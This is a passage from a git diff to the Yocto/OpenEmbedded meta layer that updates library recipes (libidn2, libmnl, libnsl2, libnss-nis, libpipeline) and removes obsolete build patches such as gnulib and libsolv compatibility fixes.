-+ by the Free Software Foundation; either version 2.1 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ GNU Lesser General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-+ You should have received a copy of the GNU Lesser General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
- /* Written by Paul Eggert. */
-@@ -47,12 +47,16 @@
-
- /* Minimum and maximum values for integer types and expressions. */
-
-+/* The width in bits of the integer type or expression T.
-+ Padding bits are not supported; this is checked at compile-time below. */
-+#define TYPE_WIDTH(t) (sizeof (t) * CHAR_BIT)
-+
- /* The maximum and minimum values for the integer type T. */
- #define TYPE_MINIMUM(t) ((t) ~ TYPE_MAXIMUM (t))
- #define TYPE_MAXIMUM(t) \
- ((t) (! TYPE_SIGNED (t) \
- ? (t) -1 \
-- : ((((t) 1 << (sizeof (t) * CHAR_BIT - 2)) - 1) * 2 + 1)))
-+ : ((((t) 1 << (TYPE_WIDTH (t) - 2)) - 1) * 2 + 1)))
-
- /* The maximum and minimum values for the type of the expression E,
- after integer promotion. E should not have side effects. */
-@@ -65,7 +69,13 @@
- ? _GL_SIGNED_INT_MAXIMUM (e) \
- : _GL_INT_NEGATE_CONVERT (e, 1))
- #define _GL_SIGNED_INT_MAXIMUM(e) \
-- (((_GL_INT_CONVERT (e, 1) << (sizeof ((e) + 0) * CHAR_BIT - 2)) - 1) * 2 + 1)
-+ (((_GL_INT_CONVERT (e, 1) << (TYPE_WIDTH ((e) + 0) - 2)) - 1) * 2 + 1)
-+
-+/* Work around OpenVMS incompatibility with C99. */
-+#if !defined LLONG_MAX && defined __INT64_MAX
-+# define LLONG_MAX __INT64_MAX
-+# define LLONG_MIN __INT64_MIN
-+#endif
-
- /* This include file assumes that signed types are two's complement without
- padding bits; the above macros have undefined behavior otherwise.
-@@ -84,10 +94,15 @@ verify (TYPE_MAXIMUM (long int) == LONG_MAX);
- verify (TYPE_MINIMUM (long long int) == LLONG_MIN);
- verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- #endif
-+/* Similarly, sanity-check one ISO/IEC TS 18661-1:2014 macro if defined. */
-+#ifdef UINT_WIDTH
-+verify (TYPE_WIDTH (unsigned int) == UINT_WIDTH);
-+#endif
-
- /* Does the __typeof__ keyword work? This could be done by
- 'configure', but for now it's easier to do it by hand. */
--#if (2 <= __GNUC__ || defined __IBM__TYPEOF__ \
-+#if (2 <= __GNUC__ \
-+ || (1210 <= __IBMC__ && defined __IBM__TYPEOF__) \
- || (0x5110 <= __SUNPRO_C && !__STDC__))
- # define _GL_HAVE___TYPEOF__ 1
- #else
-@@ -116,8 +131,7 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- signed, this macro may overestimate the true bound by one byte when
- applied to unsigned types of size 2, 4, 16, ... bytes. */
- #define INT_STRLEN_BOUND(t) \
-- (INT_BITS_STRLEN_BOUND (sizeof (t) * CHAR_BIT \
-- - _GL_SIGNED_TYPE_OR_EXPR (t)) \
-+ (INT_BITS_STRLEN_BOUND (TYPE_WIDTH (t) - _GL_SIGNED_TYPE_OR_EXPR (t)) \
- + _GL_SIGNED_TYPE_OR_EXPR (t))
-
- /* Bound on buffer size needed to represent an integer type or expression T,
-@@ -222,20 +236,23 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- ? (a) < (min) >> (b) \
- : (max) >> (b) < (a))
-
--/* True if __builtin_add_overflow (A, B, P) works when P is null. */
--#define _GL_HAS_BUILTIN_OVERFLOW_WITH_NULL (7 <= __GNUC__)
-+/* True if __builtin_add_overflow (A, B, P) works when P is non-null. */
-+#define _GL_HAS_BUILTIN_OVERFLOW (5 <= __GNUC__)
-+
-+/* True if __builtin_add_overflow_p (A, B, C) works. */
-+#define _GL_HAS_BUILTIN_OVERFLOW_P (7 <= __GNUC__)
-
- /* The _GL*_OVERFLOW macros have the same restrictions as the
- *_RANGE_OVERFLOW macros, except that they do not assume that operands
- (e.g., A and B) have the same type as MIN and MAX. Instead, they assume
- that the result (e.g., A + B) has that type. */
--#if _GL_HAS_BUILTIN_OVERFLOW_WITH_NULL
--# define _GL_ADD_OVERFLOW(a, b, min, max)
-- __builtin_add_overflow (a, b, (__typeof__ ((a) + (b)) *) 0)
--# define _GL_SUBTRACT_OVERFLOW(a, b, min, max)
-- __builtin_sub_overflow (a, b, (__typeof__ ((a) - (b)) *) 0)
--# define _GL_MULTIPLY_OVERFLOW(a, b, min, max)
-- __builtin_mul_overflow (a, b, (__typeof__ ((a) * (b)) *) 0)
-+#if _GL_HAS_BUILTIN_OVERFLOW_P
-+# define _GL_ADD_OVERFLOW(a, b, min, max) \
-+ __builtin_add_overflow_p (a, b, (__typeof__ ((a) + (b))) 0)
-+# define _GL_SUBTRACT_OVERFLOW(a, b, min, max) \
-+ __builtin_sub_overflow_p (a, b, (__typeof__ ((a) - (b))) 0)
-+# define _GL_MULTIPLY_OVERFLOW(a, b, min, max) \
-+ __builtin_mul_overflow_p (a, b, (__typeof__ ((a) * (b))) 0)
- #else
- # define _GL_ADD_OVERFLOW(a, b, min, max) \
- ((min) < 0 ? INT_ADD_RANGE_OVERFLOW (a, b, min, max) \
-@@ -315,7 +332,7 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- _GL_BINARY_OP_OVERFLOW (a, b, _GL_ADD_OVERFLOW)
- #define INT_SUBTRACT_OVERFLOW(a, b) \
- _GL_BINARY_OP_OVERFLOW (a, b, _GL_SUBTRACT_OVERFLOW)
--#if _GL_HAS_BUILTIN_OVERFLOW_WITH_NULL
-+#if _GL_HAS_BUILTIN_OVERFLOW_P
- # define INT_NEGATE_OVERFLOW(a) INT_SUBTRACT_OVERFLOW (0, a)
- #else
- # define INT_NEGATE_OVERFLOW(a) \
-@@ -349,10 +366,6 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- #define INT_MULTIPLY_WRAPV(a, b, r) \
- _GL_INT_OP_WRAPV (a, b, r, *, __builtin_mul_overflow, INT_MULTIPLY_OVERFLOW)
-
--#ifndef __has_builtin
--# define __has_builtin(x) 0
--#endif
--
- /* Nonzero if this compiler has GCC bug 68193 or Clang bug 25390. See:
- https://gcc.gnu.org/bugzilla/show_bug.cgi?id=68193
- https://llvm.org/bugs/show_bug.cgi?id=25390
-@@ -369,7 +382,7 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- the operation. BUILTIN is the builtin operation, and OVERFLOW the
- overflow predicate. Return 1 if the result overflows. See above
- for restrictions. */
--#if 5 <= __GNUC__ || __has_builtin (__builtin_add_overflow)
-+#if _GL_HAS_BUILTIN_OVERFLOW
- # define _GL_INT_OP_WRAPV(a, b, r, op, builtin, overflow) builtin (a, b, r)
- #elif 201112 <= __STDC_VERSION__ && !_GL__GENERIC_BOGUS
- # define _GL_INT_OP_WRAPV(a, b, r, op, builtin, overflow) \
-@@ -412,7 +425,7 @@ verify (TYPE_MAXIMUM (long long int) == LLONG_MAX);
- # else
- # define _GL_INT_OP_WRAPV_LONGISH(a, b, r, op, overflow) \
- _GL_INT_OP_CALC (a, b, r, op, overflow, unsigned long int, \
-- long int, LONG_MIN, LONG_MAX))
-+ long int, LONG_MIN, LONG_MAX)
- # endif
- #endif
-
---
-1.9.1
-
diff --git a/meta/recipes-extended/libidn/libidn/libidn_fix_for_automake-1.12.patch b/meta/recipes-extended/libidn/libidn/libidn_fix_for_automake-1.12.patch
deleted file mode 100644
index 5683d3c98d..0000000000
--- a/meta/recipes-extended/libidn/libidn/libidn_fix_for_automake-1.12.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-Upstream-Status: Pending
-
-This patch fixes following issue with automake 1.12
-
-| automake: warnings are treated as errors
-| /srv/home/nitin/builds/build-gcc47/tmp/sysroots/x86_64-linux/usr/share/automake-1.12/am/ltlibrary.am: warning: 'libidn.la': linking libtool libraries using a non-POSIX
-| /srv/home/nitin/builds/build-gcc47/tmp/sysroots/x86_64-linux/usr/share/automake-1.12/am/ltlibrary.am: archiver requires 'AM_PROG_AR' in 'configure.ac'
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-2012/05/03
-
-Index: libidn-1.24/configure.ac
-===================================================================
---- libidn-1.24.orig/configure.ac
-+++ libidn-1.24/configure.ac
-@@ -34,6 +34,10 @@ AC_SUBST(LT_CURRENT, 17)
- AC_SUBST(LT_REVISION, 7)
- AC_SUBST(LT_AGE, 6)
-
-+# automake 1.12 seems to require this, but automake 1.11 doesn't recognize it
-+m4_pattern_allow([AM_PROG_AR])
-+AM_PROG_AR
-+
- AC_PROG_CC
- gl_EARLY
- lgl_EARLY
diff --git a/meta/recipes-extended/libidn/libidn2_2.3.7.bb b/meta/recipes-extended/libidn/libidn2_2.3.7.bb
new file mode 100644
index 0000000000..7ae933e047
--- /dev/null
+++ b/meta/recipes-extended/libidn/libidn2_2.3.7.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Internationalized Domain Name support library"
+DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
+HOMEPAGE = "http://www.gnu.org/software/libidn/"
+SECTION = "libs"
+LICENSE = "(GPL-2.0-or-later | LGPL-3.0-only) & GPL-3.0-or-later & Unicode-DFS-2016"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \
+ file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
+ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.unicode;md5=684cf5f7e3fded3546679424528261a9 \
+ file://src/idn2.c;endline=16;md5=afc1531bda991ba6338e33a7eff758a0 \
+ file://lib/idn2.h.in;endline=27;md5=f88d218005a5c45b68a83cecb5bd7f26 \
+ "
+
+SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
+SRC_URI[sha256sum] = "4c21a791b610b9519b9d0e12b8097bf2f359b12f8dd92647611a929e6bfd7d64"
+
+DEPENDS = "virtual/libiconv libunistring"
+
+inherit pkgconfig autotools gettext texinfo gtk-doc lib_package
+
+EXTRA_OECONF += "--disable-rpath \
+ --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
+ "
+
+do_install:append() {
+ # Need to remove any duplicate whitespace too for reproducibility
+ sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc
+}
+
+LICENSE:${PN} = "(GPL-2.0-or-later | LGPL-3.0-only) & Unicode-DFS-2016"
+LICENSE:${PN}-bin = "GPL-3.0-or-later"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libidn/libidn_1.33.bb b/meta/recipes-extended/libidn/libidn_1.33.bb
deleted file mode 100644
index 9e8bdbae18..0000000000
--- a/meta/recipes-extended/libidn/libidn_1.33.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Internationalized Domain Name support library"
-DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
-HOMEPAGE = "http://www.gnu.org/software/libidn/"
-SECTION = "libs"
-LICENSE = "(LGPLv2.1+ | LGPLv3) & GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=df4be47940a91ee69556f5f71eed4aec \
- file://COPYING.LESSERv2;md5=4fbd65380cdd255951079008b364516c \
- file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYINGv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://lib/idna.h;endline=21;md5=37cffad24807f446a24de3e7371f20b9 \
- file://src/idn.c;endline=20;md5=09e97034a8877b3451cb65065fc2c06e"
-DEPENDS = "virtual/libiconv"
-
-inherit pkgconfig autotools gettext texinfo gtk-doc
-
-SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz \
- file://libidn_fix_for_automake-1.12.patch \
- file://avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch \
- file://dont-depend-on-help2man.patch \
- file://0001-idn-fix-printf-format-security-warnings.patch \
- file://gcc7-compatibility.patch \
- file://0001-idn-format-security-warnings.patch \
-"
-
-SRC_URI[md5sum] = "a9aa7e003665de9c82bd3f9fc6ccf308"
-SRC_URI[sha256sum] = "44a7aab635bb721ceef6beecc4d49dfd19478325e1b47f3196f7d2acc4930e19"
-
-# command tool is under GPLv3+, while libidn itself is under LGPLv2.1+ or LGPLv3
-# so package command into a separate package
-PACKAGES =+ "idn"
-FILES_idn = "${bindir}/*"
-
-LICENSE_${PN} = "LGPLv2.1+ | LGPLv3"
-LICENSE_idn = "GPLv3+"
-
-EXTRA_OECONF = "--disable-csharp"
-
-do_install_append() {
- rm -rf ${D}${datadir}/emacs
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb b/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
index 23262e8c6f..748326c0a0 100644
--- a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb
+++ b/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
@@ -1,14 +1,13 @@
SUMMARY = "Minimalistic user-space Netlink utility library"
DESCRIPTION = "Minimalistic user-space library oriented to Netlink developers, providing \
functions for common tasks in parsing, validating, and constructing both the Netlink header and TLVs."
-HOMEPAGE = "http://www.netfilter.org/projects/libmnl/index.html"
+HOMEPAGE = "https://www.netfilter.org/projects/libmnl/index.html"
SECTION = "libs"
-LICENSE = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-SRC_URI = "http://www.netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2;name=tar"
-SRC_URI[tar.md5sum] = "be9b4b5328c6da1bda565ac5dffadb2d"
-SRC_URI[tar.sha256sum] = "171f89699f286a5854b72b91d06e8f8e3683064c5901fb09d954a9ab6f551f81"
+SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2"
+SRC_URI[sha256sum] = "274b9b919ef3152bfb3da3a13c950dd60d6e2bcd54230ffeca298d03b40d0525"
inherit autotools pkgconfig
diff --git a/meta/recipes-extended/libnsl/libnsl2/0001-include-sys-cdefs.h-explicitly.patch b/meta/recipes-extended/libnsl/libnsl2/0001-include-sys-cdefs.h-explicitly.patch
deleted file mode 100644
index bd647ac55e..0000000000
--- a/meta/recipes-extended/libnsl/libnsl2/0001-include-sys-cdefs.h-explicitly.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 508a0ff690dfebc17c4f55a5f81824ed549bed66 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 18 Apr 2017 09:13:33 -0700
-Subject: [PATCH 1/2] include sys/cdefs.h explicitly
-
-glibc includes this header indirectly but not musl
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/rpcsvc/nis.h | 1 +
- src/rpcsvc/nislib.h | 1 +
- src/rpcsvc/ypclnt.h | 1 +
- src/rpcsvc/ypupd.h | 1 +
- 4 files changed, 4 insertions(+)
-
-diff --git a/src/rpcsvc/nis.h b/src/rpcsvc/nis.h
-index 933c4d9..88cbca0 100644
---- a/src/rpcsvc/nis.h
-+++ b/src/rpcsvc/nis.h
-@@ -32,6 +32,7 @@
- #ifndef _RPCSVC_NIS_H
- #define _RPCSVC_NIS_H 1
-
-+#include <sys/cdefs.h>
- #include <features.h>
- #include <rpc/rpc.h>
- #include <rpcsvc/nis_tags.h>
-diff --git a/src/rpcsvc/nislib.h b/src/rpcsvc/nislib.h
-index a59c19b..a53fab3 100644
---- a/src/rpcsvc/nislib.h
-+++ b/src/rpcsvc/nislib.h
-@@ -19,6 +19,7 @@
- #ifndef __RPCSVC_NISLIB_H__
- #define __RPCSVC_NISLIB_H__
-
-+#include <sys/cdefs.h>
- #include <features.h>
-
- __BEGIN_DECLS
-diff --git a/src/rpcsvc/ypclnt.h b/src/rpcsvc/ypclnt.h
-index fe43fd4..a686b61 100644
---- a/src/rpcsvc/ypclnt.h
-+++ b/src/rpcsvc/ypclnt.h
-@@ -20,6 +20,7 @@
- #ifndef __RPCSVC_YPCLNT_H__
- #define __RPCSVC_YPCLNT_H__
-
-+#include <sys/cdefs.h>
- #include <features.h>
-
- /* Some defines */
-diff --git a/src/rpcsvc/ypupd.h b/src/rpcsvc/ypupd.h
-index d07fd4d..2c57301 100644
---- a/src/rpcsvc/ypupd.h
-+++ b/src/rpcsvc/ypupd.h
-@@ -33,6 +33,7 @@
- #ifndef __RPCSVC_YPUPD_H__
- #define __RPCSVC_YPUPD_H__
-
-+#include <sys/cdefs.h>
- #include <features.h>
-
- #include <rpc/rpc.h>
---
-2.12.2
-
diff --git a/meta/recipes-extended/libnsl/libnsl2/0001-nis_call.c-Include-stdint.h-for-uintptr_t-definition.patch b/meta/recipes-extended/libnsl/libnsl2/0001-nis_call.c-Include-stdint.h-for-uintptr_t-definition.patch
deleted file mode 100644
index e9ae517107..0000000000
--- a/meta/recipes-extended/libnsl/libnsl2/0001-nis_call.c-Include-stdint.h-for-uintptr_t-definition.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From d71cbeb3b76e54778a4d5eec6d387cce653537ca Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 9 Jun 2017 09:49:35 -0700
-Subject: [PATCH] nis_call.c: Include stdint.h for uintptr_t definition
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/nisplus/nis_call.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/nisplus/nis_call.c b/src/nisplus/nis_call.c
-index 1a2b90c..1dc982d 100644
---- a/src/nisplus/nis_call.c
-+++ b/src/nisplus/nis_call.c
-@@ -23,6 +23,7 @@
- #include <errno.h>
- #include <fcntl.h>
- #include <string.h>
-+#include <stdint.h>
- #include <libintl.h>
- #include <rpc/rpc.h>
- #include <rpc/auth.h>
---
-2.13.1
-
diff --git a/meta/recipes-extended/libnsl/libnsl2/0002-Define-glibc-specific-macros.patch b/meta/recipes-extended/libnsl/libnsl2/0002-Define-glibc-specific-macros.patch
deleted file mode 100644
index 75fda4b0f0..0000000000
--- a/meta/recipes-extended/libnsl/libnsl2/0002-Define-glibc-specific-macros.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 60282514ea01af004d7f9e66dd3929223b7d2e7b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 18 Apr 2017 09:16:12 -0700
-Subject: [PATCH 2/2] Define glibc specific macros
-
-Check and define
-rawmemchr, __asprintf, __mempcpy, __strtok_r
-__always_inline, TEMP_FAILURE_RETRY
-
-if not existing. Helps compiling with musl
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
-diff --git a/src/rpcsvc/nis.h b/src/rpcsvc/nis.h
-index 88cbca0..23fc20c 100644
---- a/src/rpcsvc/nis.h
-+++ b/src/rpcsvc/nis.h
-@@ -57,6 +57,34 @@ __BEGIN_DECLS
- * <kukuk@suse.de>
- */
-
-+#ifndef rawmemchr
-+#define rawmemchr(s,c) memchr((s),(size_t)-1,(c))
-+#endif
-+
-+#ifndef __asprintf
-+#define __asprintf asprintf
-+#endif
-+
-+#ifndef __mempcpy
-+#define __mempcpy mempcpy
-+#endif
-+
-+#ifndef __strtok_r
-+#define __strtok_r strtok_r
-+#endif
-+
-+#ifndef __always_inline
-+#define __always_inline __attribute__((__always_inline__))
-+#endif
-+
-+#ifndef TEMP_FAILURE_RETRY
-+#define TEMP_FAILURE_RETRY(exp) ({ \
-+typeof (exp) _rc; \
-+ do { \
-+ _rc = (exp); \
-+ } while (_rc == -1 && errno == EINTR); \
-+ _rc; })
-+#endif
-
- #ifndef __nis_object_h
- #define __nis_object_h
---
-2.12.2
-
diff --git a/meta/recipes-extended/libnsl/libnsl2_git.bb b/meta/recipes-extended/libnsl/libnsl2_git.bb
index a539148caf..8cc1f7cec3 100644
--- a/meta/recipes-extended/libnsl/libnsl2_git.bb
+++ b/meta/recipes-extended/libnsl/libnsl2_git.bb
@@ -5,33 +5,20 @@ SUMMARY = "Library containing NIS functions using TI-RPC (IPv6 enabled)"
DESCRIPTION = "This library contains the public client interface for NIS(YP) and NIS+\
it was part of glibc and now is standalone packages. it also supports IPv6"
HOMEPAGE = "https://github.com/thkukuk/libnsl"
-LICENSE = "LGPL-2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SECTION = "libs"
DEPENDS = "libtirpc"
-DEPENDS_append_libc-musl = " bsd-headers"
-PV = "1.0.5+git${SRCPV}"
+PV = "2.0.1"
-SRCREV = "dfa2f313524aff9243c4d8ce1bace73786478356"
+SRCREV = "d4b22e54b5e6637a69b26eab5faad2a326c9b182"
-SRC_URI = "git://github.com/thkukuk/libnsl \
- file://0001-include-sys-cdefs.h-explicitly.patch \
- file://0002-Define-glibc-specific-macros.patch \
- file://0001-nis_call.c-Include-stdint.h-for-uintptr_t-definition.patch \
+SRC_URI = "git://github.com/thkukuk/libnsl;branch=master;protocol=https \
"
S = "${WORKDIR}/git"
inherit autotools pkgconfig gettext
-EXTRA_OECONF += "--libdir=${libdir}/nsl --includedir=${includedir}/nsl"
-
-do_install_append() {
- install -d ${D}${libdir}
- mv ${D}${libdir}/nsl/pkgconfig ${D}${libdir}
-}
-
-FILES_${PN} += "${libdir}/nsl/*.so.*"
-FILES_${PN}-dev += "${includedir}/nsl ${libdir}/nsl/*.so"
-FILES_${PN}-staticdev += "${libdir}/nsl/*.a"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libnss-nis/libnss-nis.bb b/meta/recipes-extended/libnss-nis/libnss-nis.bb
new file mode 100644
index 0000000000..f0e687c330
--- /dev/null
+++ b/meta/recipes-extended/libnss-nis/libnss-nis.bb
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "NSS module for glibc, to provide NIS support for glibc"
+
+DESCRIPTION = "This package contains the NSS NIS plugin for glibc.\
+This code was formerly part of glibc, but is now standalone to\
+be able to link against TI-RPC for IPv6 support."
+
+HOMEPAGE = "https://github.com/thkukuk/libnss_nis"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+SECTION = "libs"
+DEPENDS += "libtirpc libnsl2"
+
+PV = "3.2"
+
+SRCREV = "cd0d391af9535b56e612ed227c1b89be269f3d59"
+
+SRC_URI = "git://github.com/thkukuk/libnss_nis;branch=master;protocol=https \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig
+
+BBCLASSEXTEND += "native nativesdk"
+#
+# We will skip parsing this packagegeoup for non-glibc systems
+#
+COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch b/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch
new file mode 100644
index 0000000000..e61e5aa869
--- /dev/null
+++ b/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch
@@ -0,0 +1,24 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next libpipeline upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: findutils-4.9.0/gl/m4/largefile.m4
+===================================================================
+--- findutils-4.9.0.orig/gl/m4/largefile.m4
++++ findutils-4.9.0/gl/m4/largefile.m4
+@@ -26,7 +26,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb
new file mode 100644
index 0000000000..7e3f13ebde
--- /dev/null
+++ b/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb
@@ -0,0 +1,15 @@
+SUMMARY = "pipeline manipulation library"
+DESCRIPTION = "This is a C library for setting up and running pipelines of processes, \
+without needing to involve shell command-line parsing which is often \
+error-prone and insecure."
+HOMEPAGE = "http://libpipeline.nongnu.org/"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
+SRC_URI += "file://autoconf-2.73.patch"
+SRC_URI[sha256sum] = "b8b45194989022a79ec1317f64a2a75b1551b2a55bea06f67704cb2a2e4690b0"
+
+inherit pkgconfig autotools
+
+acpaths = "-I ${S}/gl/m4 -I ${S}/m4"
diff --git a/meta/recipes-extended/libsolv/libsolv/0001-Add-fallback-fopencookie-implementation.patch b/meta/recipes-extended/libsolv/libsolv/0001-Add-fallback-fopencookie-implementation.patch
deleted file mode 100644
index a575d0ebce..0000000000
--- a/meta/recipes-extended/libsolv/libsolv/0001-Add-fallback-fopencookie-implementation.patch
+++ /dev/null
@@ -1,250 +0,0 @@
-From 4d9b6ec30b78d00ead0a22eb5d047dcdba37e99c Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Neal=20Gompa=20=28=E3=83=8B=E3=83=BC=E3=83=AB=E3=83=BB?=
- =?UTF-8?q?=E3=82=B3=E3=82=99=E3=83=B3=E3=83=8F=E3=82=9A=29?=
- <ngompa13@gmail.com>
-Date: Wed, 11 Nov 2015 20:32:17 -0500
-Subject: [PATCH 1/2] Add fallback fopencookie() implementation
-
-In environments where neither fopencookie() nor funopen()
-are implemented, we need to provide a suitable implementation
-of fopencookie() that we can use.
-
-Alex Kanavin: rebased CMakeLists.txt change to apply to latest upstream code.
-
-Upstream-Status: Denied [https://github.com/openSUSE/libsolv/pull/112]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- ext/CMakeLists.txt | 7 ++
- ext/solv_xfopen.c | 10 +--
- ext/solv_xfopen_fallback_fopencookie.c | 123 +++++++++++++++++++++++++++++++++
- ext/solv_xfopen_fallback_fopencookie.h | 28 ++++++++
- 4 files changed, 164 insertions(+), 4 deletions(-)
- create mode 100644 ext/solv_xfopen_fallback_fopencookie.c
- create mode 100644 ext/solv_xfopen_fallback_fopencookie.h
-
-diff --git a/ext/CMakeLists.txt b/ext/CMakeLists.txt
-index 586eda8..477a2ef 100644
---- a/ext/CMakeLists.txt
-+++ b/ext/CMakeLists.txt
-@@ -4,6 +4,13 @@ SET (libsolvext_SRCS
- SET (libsolvext_HEADERS
- tools_util.h solv_xfopen.h testcase.h)
-
-+IF (NOT HAVE_FOPENCOOKIE AND NOT HAVE_FUNOPEN)
-+ SET (libsolvext_SRCS ${libsolvext_SRCS}
-+ solv_xfopen_fallback_fopencookie.c)
-+ SET (libsolvext_HEADERS ${libsolvext_HEADERS}
-+ solv_xfopen_fallback_fopencookie.h)
-+ENDIF (NOT HAVE_FOPENCOOKIE AND NOT HAVE_FUNOPEN)
-+
- IF (ENABLE_RPMDB OR ENABLE_RPMPKG)
- SET (libsolvext_SRCS ${libsolvext_SRCS}
- pool_fileconflicts.c repo_rpmdb.c)
-diff --git a/ext/solv_xfopen.c b/ext/solv_xfopen.c
-index b0421bf..31345dd 100644
---- a/ext/solv_xfopen.c
-+++ b/ext/solv_xfopen.c
-@@ -13,6 +13,10 @@
- #include <zlib.h>
- #include <fcntl.h>
-
-+#if !defined(HAVE_FUNOPEN) && !defined(HAVE_FOPENCOOKIE)
-+#include "solv_xfopen_fallback_fopencookie.h"
-+#endif
-+
- #include "solv_xfopen.h"
- #include "util.h"
-
-@@ -39,7 +43,7 @@ static FILE *cookieopen(void *cookie, const char *mode,
- ssize_t (*cwrite)(void *, const char *, size_t),
- int (*cclose)(void *))
- {
--#ifdef HAVE_FUNOPEN
-+#if defined(HAVE_FUNOPEN) && !defined(HAVE_FOPENCOOKIE)
- if (!cookie)
- return 0;
- return funopen(cookie,
-@@ -48,7 +52,7 @@ static FILE *cookieopen(void *cookie, const char *mode,
- (fpos_t (*)(void *, fpos_t, int))NULL, /* seekfn */
- cclose
- );
--#elif defined(HAVE_FOPENCOOKIE)
-+#else
- cookie_io_functions_t cio;
-
- if (!cookie)
-@@ -60,8 +64,6 @@ static FILE *cookieopen(void *cookie, const char *mode,
- cio.write = cwrite;
- cio.close = cclose;
- return fopencookie(cookie, *mode == 'w' ? "w" : "r", cio);
--#else
--# error Need to implement custom I/O
- #endif
- }
-
-diff --git a/ext/solv_xfopen_fallback_fopencookie.c b/ext/solv_xfopen_fallback_fopencookie.c
-new file mode 100644
-index 0000000..0ce2571
---- /dev/null
